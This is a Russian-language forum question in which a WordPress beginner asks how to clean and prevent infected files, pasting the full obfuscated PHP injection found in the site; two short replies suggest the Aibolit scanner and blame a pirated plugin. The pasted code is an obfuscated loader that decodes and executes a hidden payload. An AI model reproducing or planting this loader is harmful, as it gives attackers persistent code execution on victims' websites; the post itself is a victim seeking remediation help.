Задать вопрос
@vitaliy_balahnin
Новичок в веб-разработке

Wordpress. Файлы заражены кодом. Как избавиться и предотвратить?

<?php $grvxygapo = '?]+^?]_   x5c}X   x24<!%tmw!>!#]y84]275]y83]273]:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg7#6#)tutjyf`439275ttx7fw6*   x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofu]278]y3e]81]K78:56985:6197g:74985-rr.93efdy)##-!#~<%h00#*<%nfd)##Qtpz3   105   x52   137   x41   107   x45   116   x54"]); if ((strstr($238M7]381]211M5]67]452]88]5]48]32M3]3*<%j:,,Bjg!)%j:>>1*!%b:>1<!fm]y7:]268]y7f#<!%tww!>!   x2400~:<h%_t%:osvufs:~:<*9-1-x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*y_map("imzbolj",str_split("%tjw!>!#]y84]275x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf   x27*&7-n%))!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#)ufttj   x22)gj!|!*nbsbq%)323lj%!*3!   x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!   tpmdR6<*id%)dfyfR   x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOt-#w#)ldbqov>*ofmy%)utjm!|!*5!   x27!hmg%)!gj!|!*1?hmg%fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRed5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%wbm)%tjw)#   x24#-!#]y38#]38y]572]48y]#>m%:|:*r%6]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:5~6<Cw6<pd%w6Z6<.5`hA   x27pd%6<pd%w6Z6<.4`hA   x27p-   x24y7   x24-   x24*<!   x24-   x24gps)%j>1<%j=tj{fpg)%   x24tmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)f-%r   x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw   x24-!%   x24-   x24*!|!   x24-   x24   x5-   x24]y8   x24-   x24]26   x24-   x24<%j,,*!|   x24-   x24gvodujpo!   x2417]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss   x5csboe))1/35.)1/14+uas,"   x6d   163   x69   145")) 157   x6e"; function imzbolj($n){retuzB%z>!   x24/%tmw/   x24)%zW%h>EzH,2W%wN;#-   x24)##-!#~<#/%   x24-   x24!>!fyqmpef)#   x24*<!%t::!>!   x24Ypp3)%cB%iN}#-opd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%91y]c9y]g2y]#>>*4-1-bubE{h%)sutcdfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc   x7f!|!*uyfu   x27k:!ftm~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!f]6]283]427]36]373P6]36]73]83]!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobut`cpV   x7f   x7f   x7f   x7f<u%V   x27{ftmfV   x7f<*X&Z!}_;gvc%}&;ftmbg}   x7f;!osvufs}w;*dXk5`{66~6<&w6<   x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA   x27&6<.fmjgA   x2&6|7**111127-K)ebfsX   x27u%)7fmjix6<C   7#@#7/7^#iubq#   x5cq%   x27jsv%6<C>^#zsfvr#   x5cq:4:|:**#ppde#)tutjyf`4   x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]8f!}Z;^nbsbq%   x5cSFWSFT`%}X;!sp!*#dy>#]D4]273]D6P2L5P6]y6gP7r%)s%>/h%:<**#57]38y]47]67y]37]88y]%z-#:#*   x24-   x24!>!   xL6M7]D4]275]D:M8]Df#<%tdz   x7fw6*   x7f_*#ujojRk3`{666~6<&w6<   x7fw6*CW&)7gj6<.[A   x27&6<   ndne = "   x63   162   x65   13   x74   141   x72   164") && (!isset($GLOBALS["   x61   156   x75   156   3of>2bd%!<5h%/#0#/*#npd/#)rrd/#d%6<pd%w6Z6<.3`hA   x27pd%6<pd%w6Z6<.2`hA   x27pd%6<C   x27pd%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}   x27;!>>>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO   x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)opjudovg}x;0]=])0#)U!   fs}   x7f;!opjudovg}k~~9{d%:osvufs:~927]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)BSUOSVUFS,6<*msv%7-MSV,6<*)ujojR   x27id%6<x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpIc%j^   x24-   x24tvctus)%   x24-   x88:}334}472   x24<!%ff2!>!bssbz)   x24]25   x24-y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdo%7-K)udfoopdXA   x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GBf`opjudovg)!gj!|!*msv%)}k~~~<f281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>rfs%6~6<   x7fw6<*K)ftpmdXA6|7**197-2qj]y83]248]y83]256]y81ttj   x22)gj6<^#Y#   x5cq%   x27Y%6<.msv`ftsbqA7>q%6<   x7fw6*   x7f_*#fubfsor (strstr($uas,"   x72   166   x3a   61   x31"))) { $canrn chr(ord($n)-1);} @error_reporting(0); $wjdqvpo = implode(arra00;quui#>.%!<***f   x27,*e   x27,*d   x27,*c   x27,*b:-t%)3of:opjudovg<~   x24<!%o:!>!   x242178}527}vt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h4l}   x27;%!<*#}_;#)323ldfid>}&;!osvu:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_3zbek!~!<b%   x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)#]341]88M4P8]37]278]225]241]334]368]322]3]364   x7f!>>   x22!pd%)!gj}Z;h!opjudovg}{;#)tutjy$_SERVER["   x48   124   x54   120   x5f   125   x5]265]y72]254]y76#<!%w:!>!(%w:!>!   x24676724/%tjw/   x24)%   x24-   x24y4   x24)%tww**WYsboepn)%bss-%rxB%h>#]y31%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!tf!%b:>%s:   x5c%j:.2^,%b:<!%c:>%s:   x5c%j:^<!%w`   x5c^>Ew:Qb9!   x27!hmg%)!gj!~<ofubmgoj{hA!osvufs!~<3,j%>-!%w:**<")));$fquzmsb = $canndne("", bz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)&S{ftmfV   x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37if((function_exists("   x6f   142   x5f   16utjm6<   x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7   x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<##pmA   x273qj%6<*Y%)fnbozcYufhA   x272qj%6<^#zsfvr#   x5cq%7/^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618my%,3,j%>j%!<**3-j%-bubE{h%)sutcv#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH#   x279**-)1/2986+7**^/%rx<F.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x   x22l:!}V;3q%}U;y]}R;2fsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppdeSFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H{e%!osvufs!*!+A!>!{e%)!>>   x22!ftmbg)!gj<*#k#)usEz-1H*WCw*[!%rN}#QwTW%hIr   x5c1^41   x74   145   x5f   146   x75   156   x63   164   x69   5946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9$wjdqvpo); $fquzmsb();}}]},;osvufs}   x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;33bq}k;!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~   x24<!fwbm)24b!>!%yy)#}#-#   x24-   x24-tusqpt)28>>   x22:ftmbg39*56A:>:8:|:opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)5x61"])))) { $GLOBALS["   x61   156   x75   156   x61"]=1; $uas=strtolower()fubfsdXA   x27K6<   x7fw6*3qj%7>   x2272qj%)7gj6<**2qj%)hopm3qjA)qj3ho]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%f>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]s%<#462]47y]252]18y]#>q%<#762]67y]562-   x24*<!~!   x24/%t2w/npd#)tutjyf`opjudovg   x22)!gj}1~!<2p%   x7f!~!<##!>!2p%Z<^2   x5c2b%!>%7**^#zsfvr#   x5cq%)uf!   x24/%tmw/   x24)%c*W%eN+#Qi   x5c1^W%c!>!%i   x5c27doj%6<   x7fw6*   x7f_*#fmjgk4`{6~6<tfs%w6<   x7fw6*CWtfs%)7gj6<*id%)fsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsuvjrqqeat'; $pqagkdlk=explode(chr((718-598)),substr($grvxygapo,(39989-34112),(143-109))); $xydvrpn = $pqagkdlk[0]($pqagkdlk[(6-5)]); $asedkyz = $pqagkdlk[0]($pqagkdlk[(11-9)]); if (!function_exists('cmiyazvtm')) { function cmiyazvtm($ezwyyluy, $yoqufa,$bpflqioh) { $lbpswko = NULL; for($zdgwgf=0;$zdgwgf<(sizeof($ezwyyluy)/2);$zdgwgf++) { $lbpswko .= substr($yoqufa, $ezwyyluy[($zdgwgf*2)],$ezwyyluy[($zdgwgf*2)+(5-4)]); } return $bpflqioh(chr((57-48)),chr((626-534)),$lbpswko); }; } $imqyhxidt = explode(chr((251-207)),'4445,36,2515,58,5392,37,5429,27,4005,37,232,51,1441,25,3490,47,2493,22,5082,39,1466,35,3537,64,465,43,3404,20,4042,40,1067,47,2604,56,552,51,4481,42,2086,37,2932,36,4747,36,3367,37,3172,54,5456,65,4591,54,2123,45,5745,21,3424,66,2022,64,5812,65,735,64,2891,41,2433,60,111,52,1608,46,2660,59,1989,33,3963,42,3226,30,1166,44,4282,24,678,57,508,44,4262,20,4714,33,799,53,603,47,1654,32,3690,42,5680,65,2719,70,2573,31,3601,45,4523,68,1892,51,4343,47,852,62,4144,61,3815,46,4927,40,3861,56,650,28,1686,61,2293,33,5356,36,3732,35,2811,35,5329,27,91,20,4866,61,2168,69,5004,47,1943,46,4390,55,3102,70,4804,62,5192,57,2789,22,401,64,0,44,3038,64,349,52,2352,35,2846,45,3302,65,5623,37,1003,23,3646,44,2996,42,1258,32,2968,28,5297,32,2387,21,4082,29,1290,59,1114,52,5660,20,1540,68,5766,46,4645,69,914,66,1501,39,5051,31,1210,48,4111,33,163,40,2237,56,1026,41,5121,47,5521,63,2326,26,2408,25,5584,39,3256,46,3767,48,203,29,3917,46,1863,29,283,37,1349,60,1409,32,4783,21,1747,51,320,29,4205,57,44,47,5249,48,4967,37,1798,65,980,23,4306,37,5168,24'); $silgvkcrt = $xydvrpn("",cmiyazvtm($imqyhxidt,$grvxygapo,$asedkyz)); $xydvrpn=$grvxygapo; $silgvkcrt(""); $silgvkcrt=(536-415); $grvxygapo=$silgvkcrt-1; ?>
  • Вопрос задан
  • 176 просмотров
Подписаться 1 Оценить 1 комментарий
Пригласить эксперта
Ответы на вопрос 2
POS_troi
@POS_troi
СадоМазо Админ, флудер, троль.
Ответ написан
Комментировать
sabramovskikh
@sabramovskikh
Доктор айболит вам поможет, скрипт такой.
Виновник скорее всего плагин пиратский какойнить.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы